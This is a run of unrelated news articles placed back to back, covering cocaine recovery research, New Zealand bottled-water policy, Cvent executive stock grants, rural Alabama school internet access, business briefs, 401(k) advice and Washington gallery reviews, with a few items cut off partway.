"African Americans within such contexts often face multiple obstacles to accessing formal drug treatment services, including access to care and lack of culturally appropriate treatment programs," said lead researcher Ann Cheney, an assistant professor in the department of social medicine and population health in the Center for Healthy Communities in the UC Riverside School of Medicine. "Despite these obstacles, many initiate and maintain recovery without accessing formal treatment. They do so by leveraging resources or what we refer to as 'recovery capital' -- employment, education, faith community -- by strategically connecting to and obtaining support from non-drug using family and friends."

The study, published this week in the journal Substance Use and Misuse, illustrates that social networks and the resources embedded within them are critical to reduce substance use among minorities in resource-poor communities.

"Recovery without treatment, also called natural recovery, is common and perhaps even more prevalent among ethnic and racial minorities than among Whites," Cheney explained. "Cocaine use varies along racial lines and social class and is increasingly a problem among African Americans in rural Arkansas."

Fifty-one African American current cocaine users participated in the study. They were between the ages of 18 and 61, represented by men and women about equally, and reported no formal drug use treatment/counseling in the past 30 days. Each provided information that included his/her perception of substance abuse in the community, cocaine use history, attempts to cut down or stop cocaine use, and treatment experiences.

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Cheney and her colleagues found that nearly three-quarters of the participants (72 percent) reported at least one attempt in their lifetimes to reduce or quit cocaine use, motivated by:

Social role expectations (desires to be better parents or caregivers and responsible persons, prevent harming their children, become more present in their children's lives, prevent hurting loved ones).

Fatigue (participants were tired of the drug lifestyle and its effects on their physical and mental health).

Criminal justice involvement (incarceration forced participants to quit cocaine use).

Access to recovery capital (most participants accessed substance use treatment programs or self-help groups at some point in their lives).

Abstinence-supporting networks (these helped participants reduce cocaine use and/or achieve temporary recovery outside of rehab).

Pro-social lives and activities (participation in church, leisure-time activities were critical to reducing cocaine use).

Religion and spirituality (faith in the divine helped participants reduce or quit cocaine use).

"Our analysis showed that recovery without treatment largely coincided with lifestyle changes and shifting social relationships," Cheney said. "African Americans, especially those in rural areas, often face personal, cultural, and structural barriers to accessing formal treatment programs. This makes reducing or quitting cocaine use without formal treatment a more feasible alternative and encourages reliance on existing networks of support. Interventions that are culturally appropriate and feasible within their resource-poor communities are needed. While accessing resources in faith communities is normative among African Americans in the South, other minority or underserved populations may hold different values and find valued resources within other social spaces."

According to Cheney, ideally, the best approach would be for interventions to increase users' access to resources that would allow them to live more conventional lifestyles (e.g., employment, stable housing) and meaningful lives (e.g., non-drug using friends, faith or supportive communities).

"This approach is ideal in resource-poor communities -- as long as interventions are tailored to local contexts and cultures," she said.

Cheney was joined in the research by Brenda M. Booth and Geoffrey M. Curran at the University of Arkansas for Medical Sciences, Little Rock; and Tyrone F. Borders at the University of Kentucky, Lexington.

The research was supported by grants from the National Institute on Drug Abuse of the National Institutes of Health.

Cheney is continuing her focus on the role of social networks in substance use outcomes and recovery among minority populations. Next, she will systematically examine the role of social networks in substance use risk among Latinos in southern California's Inland Empire.
The call from opposition parties for a moratorium or a new tax on consents for bottled water plants is typically uninformed and scientifically unsound in respect of dealing with the challenges New Zealand has in freshwater management, says Environment Minister Dr Nick Smith.

New Zealand has five-hundred trillion litres of fresh water each year flowing through our lakes, rivers, and aquifers, and we extract only two percent of that for human purposes. Ten trillion litres are extracted, made up of six trillion for irrigation, two trillion for town water supplies, and two trillion for industries. The total water extracted for bottled water is only 0.004 per cent of the resource. The suggestion by the Greens of a moratorium on bottled drinking water takes is about as sensible as pretending you could solve Aucklands traffic congestion by banning bikes. The New Zealand First proposal for a special tax would be like putting a charge on bikes but ignoring trucks, cars and buses and pretending that it would help traffic management, Dr Smith says.

It is wrong to target the bottled water industry in the broader debate about improving the system by which water is allocated and reducing the pollution of our rivers, lakes and aquifers. New Zealands water shortages are in quite distinct areas and at particular times of the year. The Governments latest proposals for improving freshwater management contained in the Next Steps for Freshwater discussion document represent a far more rational response. The introduction of Technical Efficiency Standards for all water users will have far greater benefits for the sustainability of water use than banning bottled water.

There is also a contradiction by opposition parties calling for a more diverse range of export industries than dairying but then wanting to prohibit the export of bottled water. Each litre of milk takes about 400 litres of freshwater to produce and if the export market is prepared to pay a good price for bottled water, it may be a more efficient and productive use of the resource. It would also be difficult to justify a charge on bottled water but not on a bottled product made with minimal additives of juice concentrate or other similar bottled drinking products.

There is no case for the bottled water industry to be treated any differently from the thousands of other water users. The Government is tightening the regulation of freshwater but in a consistent approach that does not target one industry on the basis of misinformation and politics.

SOURCE: Office of Dr Nick Smith
If there were ever a dog who made his feeling known through his belly, it would be Roscoe.

So when his heart broke, so too did his once legendary appetite.

You see, Roscoe used to be a bit of gourmand.

"Roscoe was well-loved by his owner who cooked him three meals per day," Kimberley Slown of Animal Rescue Revolution on Wheels (ARROW) tells The Dodo.

Then his owner died. And Roscoe had no place to go but to a shelter.

Knowing his heart is hard-wired to his belly, staff at Gibson County Animal Shelter in Indiana tried mightily to comfort Roscoe.
Ashgabat, Turkmenistan, Apr. 22

By Huseyn Hasanov- Trend:

The Turkmen State Concern 'Turkmengaz' together with a consortium of LG, Hyundai (South Korea) and Itochu (Japan) companies plans to build a plant for processing of natural gas into liquid synthetic fuels (gas-to-liquids process - GTL), the Turkmen government said in a message Apr. 22.

The issue of preparation to the groundbreaking ceremony of the foundation of this enterprise in Akhal, the central region of Turkmenistan, was discussed at a meeting of the Cabinet of Ministers of the country, according to the message.

President of Turkmenistan Gurbanguly Berdimuhamedov noted a significant role of

gas processing industry, focusing attention on its intensive development, which is intended to facilitate an integrated industrialization of regions, diversification of the national economy, increasing manufacture of products in demand on the global markets.

The president instructed to take under special control the issues relating to the implementation of new large investment project in the Akhal region, as well as provision of the plant with modern technologies and equipment.

The Turkmen president said that this industrial complex should meet all safety requirements for the environment.

It is expected that the new complex will annually process 3.7 billion cubic meters of natural gas and produce 1.1 million tons of diesel fuel, as well as 400,000 tons of straight-run gasoline (naphtha) in a year.
The management team of Cvent attends the ringing of the opening bell at the New York Stock Exchange to celebrate the companys initial public offering on Aug. 9, 2013. (Ben Hider/NYSE Euronext)

Twelve days before Cvent announced a $1.65 billion deal to go private, the high-flying Tysons Corner technology upstart handed out hundreds of thousands of shares of stock and stock options to its top executives, according to the companys filings with the Securities and Exchange Commission.

The awards soared in value after private equity firm Vista Equity Partners agreed to buy the event management firm for $36 a share, a 69 percent premium over Cvents stock price the prior trading day. An analysis by the executive compensation research firm Equilar estimated that the $4.87 million in total grants to executives stand to rise to $15.53 million as a result of the deal.

In an SEC filing, the company said the stock awards were granted under the terms of an executive incentive plan put into place three years ago. Cvent chief executive Reggie K. Aggarwal said the company vetted the distribution with its attorneys.

Its simple: normal course of business, Aggarwal said.

Before this April, Cvent appears to have approved similar grants twice, in December 2014 and October 2015, to be distributed in later years, according to SEC filings. Aggarwal said the company had hoped to deliver the latest round of grants at the end of March but held off because executives were out of town dealing with the acquisition.

This one got delayed by a few days because we were going through this whole thing, and so everything got put on hold, Aggarwal said.

Cvent specializes in software and services that help groups manage events. Aggarwal co-founded the company during the go-go days of the dot-com boom in 1999. He started with a $100,000 loan from his parents, added in his own savings, and boosted the company from six employees to 125 in a matter of months.

He also got a number of high-profile locals to invest in the fledgling firm, including former AOL chairman Steve Case, MicroStrategy co-founder Sanju K. Bansal, the Carlyle Groups managing director Edward Mathias and Atlantic Media Chairman David Bradley.

But when the dot-com bubble burst in the early 2000s, the outlook soured. Aggarwal was facing bankruptcy and let go 80 percent of his staff. In the years that followed, Cvent built itself back up into a multimillion-dollar firm with big-name customers including Walmart, Verizon and Marriott International; last year, it posted $187.7 million in revenue. In the process, it became known as one of the regions technology success stories, hailed by business leaders and trade groups alike for its comeback.

Cvent went public in August 2013 under the federal Jumpstart Our Business Startups Act, which offered relaxed rules for young companies, exempting Cvent from reporting various disclosures required of larger, more established public companies.

Aggarwal said the company recently received an unsolicited buyout offer from a large software company he declined to name. A number of other firms followed suit, but Vista  an Austin, Tex., investment firm that last month purchased software firm Solera Holdings for $6.5 billion  had the highest bid. A Vista representative did not immediately respond to a call for comment.

Vistas takeover plan, unanimously favored by Cvents board, would take the public company private. The deal is slated to be completed in the third quarter of this year, awaiting approval from regulators and shareholders.

The deal was announced April 18. On April 6, according to SEC filings, eight executives received a total of 223,890 shares of the companys common stock and 523,624 stock options.

The options allow employees to buy a certain number of shares in the future at a price set now. But executives would be able to cash in those shares sooner in the event a sale of the company is finalized, based on the filings.

Aggarwal received the largest chunk of shares  74,034  along with 173,148 options, according to SEC filings. The grant, initially worth $1.61 million, would grow to $5.14 million based on Vistas $36-a-share offer, according to Equilars estimates.

In all, Aggarwal said he owns roughly 10.6 percent of the company, making him its largest individual shareholder. Company insiders, including its executives and directors, own roughly 25 percent of the company, according to an April 17 filing.

Securities experts said Cvents 2013 stock incentive plan includes no explicit guidelines on when awards can be granted  every March, say, or in regular, pre-determined periods.

Instead, the document filed with the SEC on July 29, 2013, says executives can be granted shares of the company at any time and from time to time as determined by its board.

If it were under a formula, it seems to me its not problematic, said Thomas Lee Hazen, a professor at the University of North Carolina School of Law who specializes in corporate, securities and commodities law. If they were using their own discretion  well, its not necessarily illegal, but it is a very gray area.
Eighth-grader Cedric Garner Jr. tries to get in some Internet time at school in Lower Peach Tree, Ala. Students at Monroe Intermediate School are at a disadvantage, as internet capabilities at the rural school are limited. (Michael S. Williamson/The Washington Post)

Toward the end of a potholed country road, in the computer lab of a one-story school, the Internet one morning choked out a final quiz question about melting icebergs and then sputtered to a halt. The image of a spinning wheel popped onto Tatiana Flowerss computer screen. Then Cedric Garner Jr.s. Within 30 seconds, the problem had spread across the room, and 11 eighth-graders were again practicing the one skill their computer class seemed actually good for: patience.

Miss Washington, my Learning.com buffering, Flowers, 14, said.

Mine buffering, too, Garner, 13, said.

Another student tried to refresh his screen. There is no Internet connection, his Web browser said, and just above the type, there was an image of a dinosaur.

Monroe Intermediate, a K-8 school in rural Alabama, is a tech dinosaur only because it has little choice, sitting in an impoverished community of churches and trailer homes that telecom companies have little financial incentive to wire. Over the past decade and a half, corporations including AT&T, Comcast and Verizon have laid cabling that is capable of transmitting high-speed Internet across much of urban and suburban America. But educators say there is a problem: The companies have essentially finished building in every area where they believe they can profit. And several thousand of Americas schools sit outside these zones, according to EducationSuperHighway, a nonprofit organization that measures Internet access in classrooms.

Staffers at Monroe Intermediate School display tablets that work fine  when theyre not connected to the Internet. Unfortunately, service is spotty and can be out for hours or weeks. (Michael S. Williamson/The Washington Post)

The experience of students at Monroe Intermediate shows how the financial decisions of telecom companies have put rural students at a disadvantage, leaving some without basic digital abilities that many in America take for granted. Federal regulators are working toward a fix for these out-of-reach of schools, but its unclear to what extent these efforts will solve the problem.

The schools with sub-par Internet are scattered around the country, spanning from the far-flung communities of Alaska to the desert towns of New Mexico. The danger is that students who attend these schools will struggle for years with the critical tasks that now require online fluency: applying to colleges, researching papers, looking for jobs.

This is essentially the definition of the digital divide in education, said Evan Marwell, the EducationSuperHighway founder and chief executive. Students on the wrong side dont have the same opportunity to compete.

Marwell added that the providers are kind of done building to all the areas they can rationalize on their own. So we need to figure out how to get it to those last places.

While having only one provider in a region might mean higher cable or Internet bills in cities, in rural areas it can have profound consequences. For Internet access, Monroe depends on a nearly two-decade-old T1 line that, by the time it reaches dozens of individual computers, delivers speeds comparable to dial-up service. The school districts administrators have tried for nearly two years to persuade AT&T to upgrade its service in the area, to no avail.

I thought, in my little naive head, if I could just talk to them, explain to them that we have these 60-odd children in the middle of nowhere, they would understand, said Devlynne Barnes, the technology director for Monroe County Schools.

Instead, Monroe has daily computer classes that start and stall; students sometimes need 30 minutes just to log in. It has 29 iPads, purchased with federal funding, that often go unused because of the hapless WiFi. It has students who talk about the Internet not as a reliable tool, but as a temperamental one. It works better in the mornings, they say. It works better on this side of the room. It works better when the sun is out.

Garner, in his morning computer class, groaned and stared at his idled Asus desktop computer. The room was made of cinder blocks, and on the wall was an antiquated poster defining 1990s computer terms: Boot, Click, CD/DVD, Cursor, Crash.

He opened Microsoft Word  a program that didnt need the Internet  and whispered to Flowers, Im going to type out my own book. But he had made it only one sentence (This is the story of George Washington, he had written) when he got bored. He placed his keyboard atop the computer tower and dropped his head on the desk.

Grasping for a wider reach

Lower Peach Tree is one of the hardest-to-reach places in Alabama, at the far western edge of a county most famous for being the home of the late author Harper Lee. In much of the county, including at six other schools, Frontier Communications provides good broadband Internet. But Lower Peach Tree sits on the other side of the Alabama River, AT&Ts territory, and is reachable from Monroeville  the county seat  only by intermittent ferry service or a looping, one-hour drive. Many who live in Lower Peach Tree work as loggers or truck drivers. The town of fewer than 1,000 residents has no restaurants or gas stations.

As one enters Lower Peach Tree, thick trees and ramshackle homes line the road, and but for an occasional flicker, cellphone service dies off. Only about one-third of students at Monroe Intermediate have Internet at home; to get even that, their families subscribe to a satellite-based service that malfunctions during bad weather. During his one-hour morning route along the communitys snaking red dirt roads, the schools bus driver, Raymond McConnell, doesnt even bother carrying a cellphone.

If theres some kind of accident, he said, Im just supposed to go up to the closest house and ask to use a land line. Thats what my boss told me.

Educators say that rural areas, with limited curriculums and resources, in particular could benefit from digital advances that allow students to reach far beyond their towns. Spanish classes could Skype with students in Mexico City. Advanced students could take high school classes remotely. The problem is that such small towns also provide a limited pool of customers for any company thinking about making an investment.

Monroe Intermediate is a really, really small school in a precarious area, said Jerome Browning, a coordinator at Alabamas Department of Education. It doesnt make any sense for vendors to come to that area.

The copper lines that run to the Lower Peach Tree school were placed in the ground in the late 1990s by BellSouth, a company that merged with AT&T in 2006. Since then, the district has encountered a problem facing other rural schools: There is little competition to provide services. Some 7 percent of schools nationwide fail to find bidders when looking to upgrade Internet  according to the Consortium for School Networking, a Washington-based group that advocates for technology in the classroom  and in the case of Monroe Intermediate, district officials had no choice but to deal with the one company operating in that area: AT&T.

Beginning in 2014, Barnes said she grew frustrated enough with AT&Ts reluctance to wire Monroe Intermediate that she tried to contact a senior decision-maker. She was passed around from one contact to another, she said, and left 15 to 20 voice mails with four or five people. She also, for months, exchanged e-mails in which AT&T officials sound encouraging but dont follow up.

Barnes, in one e-mail, said she was looking to find the best solution for the most rural school in Alabama.

I can begin to take a look at capacity in the area, one AT&T account manager wrote.

The districts request was complicated. It needed AT&T to cooperate with the neighboring telecom company, Frontier. If AT&T was to build new lines, they would have to connect with Frontiers, allowing Monroe Intermediate to receive data from the hub in Frontier territory  and remain on the district server, so information could be shared across all schools. At one point last October, Barnes said, AT&T brought up the possibility of building new lines  but not ones that would connect with Frontier. The district wasnt interested.

AT&T, in a statement, said it tries to provide strong service to its customers, but in this instance our communication with this school fell short.

This in no way reflects the significant work we do to connect rural America and thousands of schools, including those in hard-to-reach remote areas, the company said. AT&T noted that 92 percent of schools in Alabama have high-speed Internet. It also said that, over the past six years, AT&T had invested more than any other public company to expand high-speed Internet availability.

Starting July 1, the Federal Communications Commission will provide a new option for schools that feel stuck: Those schools can hire their own outside companies to build their fiber connections, partially using federal funding, if the local telecom company wont. The goal is to provide more leverage to schools than before.

But there are doubts from local educators that the proposal will actually be the cure they need. Monroe administrators, after talking recently with other telecom companies, estimate that it will cost $1 million to run fiber to Monroe Intermediate. U.S. taxpayers will pay for 80 percent, but that leaves the district on the hook for $200,000  something it still cant afford. Barnes, the technology coordinator, said the district might solicit donations.

Teachers at Monroe Intermediate say the lack of a strong Internet connection creates everyday obstacles. The school must upload emergency planning documents to a state portal. Daily attendance records are sent to the district office. Even when the Internet is working, bandwidth is so taxed during the school day that administrators wait until after-hours to perform some of their computer tasks.

For students, the tech limitations can breed some cleverness. Garner, an easy-to-smile eighth-grader, calls himself the communitys top hacker, in part because he has learned that he can make calls with his smartphone by placing it on a ceiling fan  one place where it gets occasional service  and connecting it with Bluetooth headphones. But he also said he has some anxiety about what happens when he enters ninth grade  a point when students from Monroe Intermediate head off to high school in a neighboring and more populous county and tend to realize that they are further behind than they expected.

The rest of the world has this, Garner said of the Internet.

Even though Monroe Intermediate was named in 2013-2014 by the state as one of six torchbearer schools that was beating the odds and educating students of poverty, few students who grow up in Little Peach Tree move beyond high school, Monroe Intermediate principal Betty Madison said. Some are bewildered by the assignments or too ashamed to admit what they dont know, Barnes said. What is a Google Doc? What is a jump drive? How do I do my homework if I dont have Internet at home?

This is just the real world now, Barnes said. These are expected skills. And they are drowning.

Were down

The Internet outages at Monroe Intermediate can last from minutes to weeks, and when they start, an administrator from the principals office speaks up over the intercom.

Were down, a scratchy voice said on a recent morning, and Shirley Pate, the schools technology coordinator, told her fourth-grade students to power off their devices  anything that might be sucking up bandwidth. She asked them to wait for a moment while she did some trouble-shooting.

Can I get a book out of the library? one of the students asked.

Another opened his backpack and removed a stack of plastic dinosaurs.

Pate walked over to a computer and ran a speed test.

Behind her, students spent the last 10 minutes before the bell recreating the Jurassic era.

You bit my tail, get out of here, said Tomquarious Morrissette, 10.

Mmm, fresh ankylosaurus, said Jarquiese McCaskey, 10. Bones and all.

They debated for a moment about the fate of the ankylosaur and decided it had died. Morrissette slowly raised the plant-eater from the table.

Hes going up to heaven, Morrissette said.

The speed test finished: The download speed was 0.76 megabits per second, less than one-fiftieth of what Verizon or Comcast offers residential customers in the District.

Pate took a closer look at the screen.

Oh, look now! she said. Not bad.
JOBS

Unemployment claims fall to 4-decade low

Jobless claims unexpectedly fell to the lowest level since 1973, indicating that the U.S. labor market remains a pillar of support in the worlds largest economy.

New applications for unemployment benefits dropped by 6,000 to 247,000 in the week ended April 16, data from the Labor Department showed Thursday. The number of Americans already on benefit rolls declined to a more-than 15-year low.

Limited dismissals signal that employers are still optimistic about the U.S. demand outlook. Economists are banking on further job growth to support consumer spending and help prop up economic growth after a weak first quarter.

The number of people continuing to receive jobless benefits fell by 39,000 to 2.14 million in the week ended April 9, the fewest since November 2000. The unemployment rate among people eligible for benefits held at 1.6 percent.

First-time claims have held below 300,000  a level economists typically associate with robust labor conditions  for 59 consecutive weeks, the longest such stretch since 1973.

 Bloomberg News

AUTOMOTIVES

VW reaches deal in emissions scandal

Volkswagen, striving to move beyond a scandal that has disrupted its global business and sullied its reputation, announced a sweeping deal Thursday to buy back or potentially fix about a half-million polluting diesel cars and set up environmental and consumer compensation funds.

The settlement, which reportedly could cost VW at least $10 billion, is not likely to end the controversy that began in September when the worlds No. 2 automaker admitted using sophisticated secret software in its cars to cheat exhaust emissions tests.

VW still faces a Justice Department investigation that could lead to criminal charges.

The framework of the deal was hammered out by VW with the department, the state of California, the U.S. Environmental Protection Agency and the Federal Trade Commission as well as attorneys for car owners who filed class-action civil lawsuits. The deal is expected to settle more than 600 class-action suits in U.S. courts.

Federal Judge Charles Breyer outlined the agreement during a hearing in San Francisco. He did not disclose the amount of money involved. He set a June 21 deadline to nail down the final details of the deal.

The judge said the settlement includes VWs offer to buy back 482,000 2.0-liter vehicles, fix them if regulators agree on that step after further testing, or cancel outstanding leases.

The U.S. settlement will include an environmental remediation fund to address excess emissions and additional substantial compensation to owners to sell back or have their vehicles fixed, Breyer said. The size of the fund and the amount of the compensation were not disclosed.

VWs use of the software allowed 11 million vehicles to emit up to 40 times the legally allowable levels of pollutants.

 Reuters

Also in Business

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Fiat Chrysler announced that it is recalling more than 1.1 million cars and SUVs worldwide because the vehicles may roll away after drivers exit the vehicles. (Joe Raedle/Getty Images)

AUTOMAKERS

Fiat Chrysler recalls 1.1 million vehicles

Fiat Chrysler said Friday that it is recalling more than 1.1 million cars and SUVs worldwide because the vehicles may roll away after drivers exit.

The automaker said the recall is linked to as many as 41 injuries because drivers mistakenly believed they had placed the vehicles in park before exiting.

The recall covers the 2012-2014 Dodge Charger and Chrysler 300 sedans and 2014-2015 Jeep Grand Cherokee sport-utility vehicles. About 811,000 vehicles in the United States are affected, along with about 52,000 vehicles in Canada, nearly 17,000 in Mexico and almost 250,000 vehicles outside North America.

The National Highway Traffic Safety Administration, which upgraded its probe into the issue in February, said Friday that its investigation of the shifter in these vehicles showed it is clearly a safety issue that has led to hundreds of crashes and dozens of injuries.

Fiat Chrysler said it will update the vehicles to automatically prevent them from moving, under certain circumstances, even if a driver fails to put one in park. Fiat Chrysler did not say when the recall remedy will be available.

McDonalds has reignited its U.S. sales with all-day breakfast and McPick two-for-$2 and two-for-$5 deals. (Dan Gleiter/AP)

NHTSA spokesman Bryan Thomas said the agency will be monitoring this recall carefully to ensure that [Fiat Chrysler] produces a safe solution and gets the vehicles remedied as quickly as possible.

 Reuters

FAST FOOD

McDonalds gains are best in four years

McDonalds Corp.s turnaround is showing signs of gaining steam  helped by all-day breakfast, value deals and lower commodity prices  even as labor costs and other head winds linger.

The fast-food chain posted a 6.2 percent gain in same-store sales last quarter, its best performance in four years, and its earnings topped analysts estimates.

The results show chief executive Steve Easterbrooks plan to revive the worlds largest restaurant chain is gathering momentum. Since taking the helm more than a year ago, he has revamped drive-through ordering, tweaked kitchen operations and slimmed down the menu. The company also has reignited U.S. sales with all-day breakfast and McPick two-for-$2 and two-for-$5 deals.

Yet challenges remain. Company-wide revenue declined in the last quarter, the seventh straight drop, and higher labor costs are pressuring profit margins. McDonalds also is embroiled in a dispute with the National Labor Relations Board over whether workers at its franchised restaurants qualify as company employees, a change that threatens to upend its business model.

While revenue dropped 0.9 percent, to $5.9 billion, in the quarter, that beat analysts $5.81 billion average projection. Net income rose to $1.23 a share in the quarter, the Oak Brook, Ill.-based company said in a statement Friday. Analysts estimated $1.16, on average.

 Bloomberg News

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Boomers are retiring at a rate of 10,000 a day. In 2014, an estimated $325 billion was withdrawn from 401(k) plans as they retired. Thats projected to reach $500 billion in a few years, according to Cerulli & Associates, a Boston research firm. (iStock)

Big decisions loom for baby boomers. One of the biggest is what to do with the money theyve socked away in their company-sponsored 401(k) plans.

Should you cut ties with your former company and move your money to an IRA? Or is it better to leave it where you are familiar with the options and comfortable with its safety?

Much is at stake. Boomers are retiring at a rate of 10,000 a day. In 2014, an estimated $325 billion was withdrawn from 401(k) plans as they retired. Thats projected to reach $500 billion in a few years, according to Cerulli & Associates, a Boston research firm.

Still, many havent thought much about what to do with the 401(k).

One choice is to do nothing. Most employers will allow that money to stay there. They will just not be making new contributions, says Paul Taghibagi, partner at Signature Estate & Investment Advisors.

There are some pros and cons to doing that, he says. If you leave the money there, the assets are protected from claims from creditors. If you roll it over to an IRA, that is not necessarily the case.

Taghibagi cites another reason to leave it: If you leave your job between 55 and 59, there is no 10 percent withdrawal fee from your 401(k), as there would be with an IRA. And people are not required to take a minimum distribution after age 70 if they are still working.

[A guide to making the most of your 401(k)]

Marina Edwards, senior retirement consultant at Willis Towers Watson, says companies are starting to encourage employees to leave their 401(k)s unchanged when they go.

It is a mutually beneficial arrangement, she says. The employees have access to low-cost mutual funds. The benefit for the employer is there are more 401(k) assets. They can bargain for lower-cost investments.

Dont leave it, others say. Its your money, take it with you, dammit, says Scott Puritz, managing director of Rebalance IRA in Bethesda.

We believe this is the best practice in this modern American economy, where job changing is the norm and where the average worker will have at least seven jobs during their career.

As you are leaving your current employer, on that exit interview, on the last day, you should start the process of your 401(k) rollover, he says. The benefits are multiple: You have your money all in one spot. You have control, which is important from a psychological point of view. It allows you to lower your costs and get the appropriate level of asset allocation.

Here are some other things to consider:

Retirement income flexibility. One big drawback to the 401(k) is the lack of flexibility when it comes to withdrawals. Most plans dont allow regular distributions like, say, a pension or an annuity.

I advocate that people have some level of guaranteed lifetime income and some money they can draw down, says Steve Vernon, adviser with the Institutional Retirement Income Council.

If you decide an annuity is a good idea, see if your 401(k) offers annuities. Right now, most of them dont. So you would have to roll some of your money into an IRA.

An income guarantee is a strong reason to transfer out of a 401(k), says Matthew Sadowsky, director of retirement and annuities at TD Ameritrade.

If you are worried about market volatility, you have guaranteed growth, he says. If you are worried about outliving you income, you have guaranteed income, he says. Many 401(k)s dont offer that guaranteed growth. If you are living off your 401(k), when they run out, they run out.

It doesnt always have to be an all-or-nothing strategy, says Catherine Golladay, vice president of 401(k) participant services at Charles Schwab. Within the vast majority of 401(k) plans, you do have the ability when to retire to withdraw part of your funds and leave the rest invested in the 401(k).

Fees. These vary widely, depending on the size of the company.

Puritz says his firm does a cost analysis for perspective clients. With a small number of exceptions, we see fee structures of 2 to 3 percent a year. Thats astronomically high, he says. There is a misconception that the 401(k) is a great place. Large organizations do run efficient programs. But its a tale of two cities. In companies with 1,000 employees or less, the cost structure goes way up.

More investment options. In a 401(k) you only have so many options, Sadowsky says.

Those options have been determined by your plan. If you roll it over into an IRA, there are many choices.

That gives you the opportunity to better hedge and diversify, he says.

Consolidation. Often people have several 401(k) accounts at past jobs. And IRA is an easy way to consolidate them.

Simplicity, familiarity and safety. There are other advantages to leaving your money in your company-sponsored 401(k).

It is convenient and easy. They are familiar with the 401(k) plan and familiar with how it works, Golladay says.
Wood in its many forms  including paper and even sawdust  is where artist Foon Sham begins and ends. The Macau-born Virginian interlaces slats and blocks to make sculptures that evoke baskets and vases, hives and anthills  even the trees from which the material derives. Sham can work on a massive scale, as in his four woven-wood cylinders installed outdoors near 19th and L streets NW. Yet he also builds, and draws, things that fit inside Gallery Neptune & Brown, host to his exhibition Exuberant Journey.

The show revolves around its largest piece, Iron Wrap, which resembles the base of a large, hollow tree trunk. Its mostly lumber, but topped with a cast-iron piece, one of three forged objects here. The others are a circular bronze and an iron spiral whose ragged edges contrast the sleekness of Shams woodwork.

Another unexpected element is the paint he added, and then largely subtracted, from several medium-size wooden constructions. These curving pieces, which variously suggest a ship, a funnel and a basin, are mostly blond, but with lingering patches of bright color. Turning wood into art is, like the contours of these sculptures, a circular process.

There are hotter hues in Shams drawings, which are all potential sculptures yet entirely satisfying on their own. Sham sketches possibilities  including an unsolicited proposal to wrap a kiln-like edifice around the fountain in the Hirshhorn Museum courtyard  in pastels and diluted yet vivid acrylic washes. Craftsmanship and texture are central to Shams art, but his ideas can stand on their own.

Foon Sham: Exuberant Journey On view through May 1 at Gallery Neptune & Brown, 1530 14th St. NW. 202-986-1200. galleryneptunebrown.com .

Ye Qianyu (China, 1907-1995), 'Er Deng Xiaoche" [Second-class Railcar], front cover of "Shidai Manhua" [Modern Sketch], July 1935. (Ye Qianyu/Colgate University Libraries)

The Critiqued

Otis Street Arts Project, a converted warehouse just over the D.C. line in Maryland, provides artist studios, stages exhibitions, and hosts critiques by local arts writers and curators. The Critiqued displays one entry each by 13 survivors of those events, and the selection is diverse in both media and style.

Among the most striking items are two that are, in the broad sense, autobiographical. Katie Pumphreys vigorous, near-abstract painting of fish competing for food hints at her own underwater striving: The Baltimore artist is a long-distance swimmer who last year stroked across the English Channel. Jacqui Crocettas leathery wall sculpture resembles a seed pod, symbolizing resilience, creativity and a sort of rebirth.

The roughness of Crocettas piece complements Steven Durows hanging glass sculpture, an example of seemingly timeworn scavo (from the Italian for excavation). With its constricted shape and deliberately unpretty patina, this dark gray-blue object plays against the customary idea of glass as light and bright, and also conveys a sense of struggle. It might be called battered but unbowed.

The Critiqued On view through April 30 at Otis Street Arts Project, 3706 Otis St., Mount Rainier, Md. 202-550-4634. otisstreetarts.org.

Rockne Krebs

A shaper of the ephemeral, Rockne Krebs pioneered the use of lasers to etch sculptural forms in light. Of the more than 40 public pieces the D.C. artist installed before his death in 2011, only four are now in operation. Some may be restored, but theyre innately harder to preserve than works such as The Smoke Drawings, which Krebs made by passing a candle close to paper. Eighteen of these untitled pictures, all from 1973, are now at Hemphill Fine Arts.

Rosemary Luckett. "The Mountain," collage; on view at Touchstone Gallery. (Rosemary Luckett/Touchstone Gallery)

Patterns in gray-brown soot dominate a few of the compositions, but all of the works also include spray-painted hues. Sometimes, the preserved fumes appear merely to shadow the pigment, mostly in yellows, oranges and reds. Blue also features in the largest and busiest of the drawings, suggesting an abstract-expressionist canvas. Its the simplest ones, however, that give the strongest sense of the process. Theyre most evocative of Krebss larger project: to make something lasting out of the most transient materials.

Rockne Krebs: The Smoke Drawings On view through April 30 at Hemphill Fine Arts, 1515 14th St. NW. 202-234-5601. hemphillfinearts.com.

Manhua + Manga

The intriguing idea behind Manhua + Manga is to contrast Chinese and Japanese comics from the 1930s, a decade when the two countries were partly at war. The University of Maryland Art Gallery exhibition takes its name from the respective Chinese and Japanese pronunciations of the same phrase, which can be translated as whimsical pictures. (The term arose in Japan but is written in Chinese characters.) The selection places Chinese artists exhortations to battle near tales of sort-of-liberated women in a Shanghai that was controlled by Japan but hadnt yet experienced combat. One Japanese cartoonist actually drew for a Chinese publication in Shanghai so as to evade his countrys wartime censors.

Organized by Maryland doctoral candidate Madeline Gent, the show draws from several collections, including the universitys holdings of material gathered by historian Gordon Prange during the U.S. occupation of Japan. Some pieces are displayed on tables cut into the shape of Japan or the Chinese coast. Yet the overall theme is not as sharply defined as those jig-sawed contours. Included are Felix the Cat strips in Japanese, latter-day reprints of Hokusai woodcuts, and animated 1980s episodes of Astro Boy (Mighty Atom in the robots native language). These are all linked to Japans comics tradition yet have little specifically to do with the period in question. Thats why Manhua + Manga will probably interest manga fans more than students of the Sino-Japanese War.

Manhua + Manga On view through April 30 at the Art Gallery, Parren J. Mitchell Art-Sociology Building at the University of Maryland, College Park. 301-405-1474. artgallery.umd.edu.

Rosemary Luckett

Although her subject is nature, Rosemary Lucketts collages are constructed mostly of manmade stuff. Earth House, the Virginia artists show at Touchstone Gallery, combines sheet music, gift wrap, postage stamps, ransom-note text and more, all neatly assembled inside old battered frames. The cut-and-paste mini-ecosystems are inspired by American Indian religious and folk art, and accompanied by Lucketts poems. Every being, she writes, is but a mask of the Great Face Behind.

Luckett has shown more polemical works in the past, but this time she employs a more playful touch. Her Earth Boats, Noah-less arks filled with assorted creatures, float on fanciful seas. Humans sometimes gently meld with nature: A womans head is crowned with mushrooms, and a pair of lungs is superimposed over trees and leaves. If the implication of the latter is ominous, the juxtaposition is lighthearted.

Rosemary Luckett: Earth House On view through May 1 at Touchstone Gallery, 901 New York Ave. NW. 202-347-2787. touchstonegallery.com.
Baku, Azerbaijan, Apr. 22

By Fatih Karimov - Trend:

The European insurance companies still are cautious regarding the cooperation with Iran, Akbar Kamijani, Vice-President of Central Bank of Iran said.

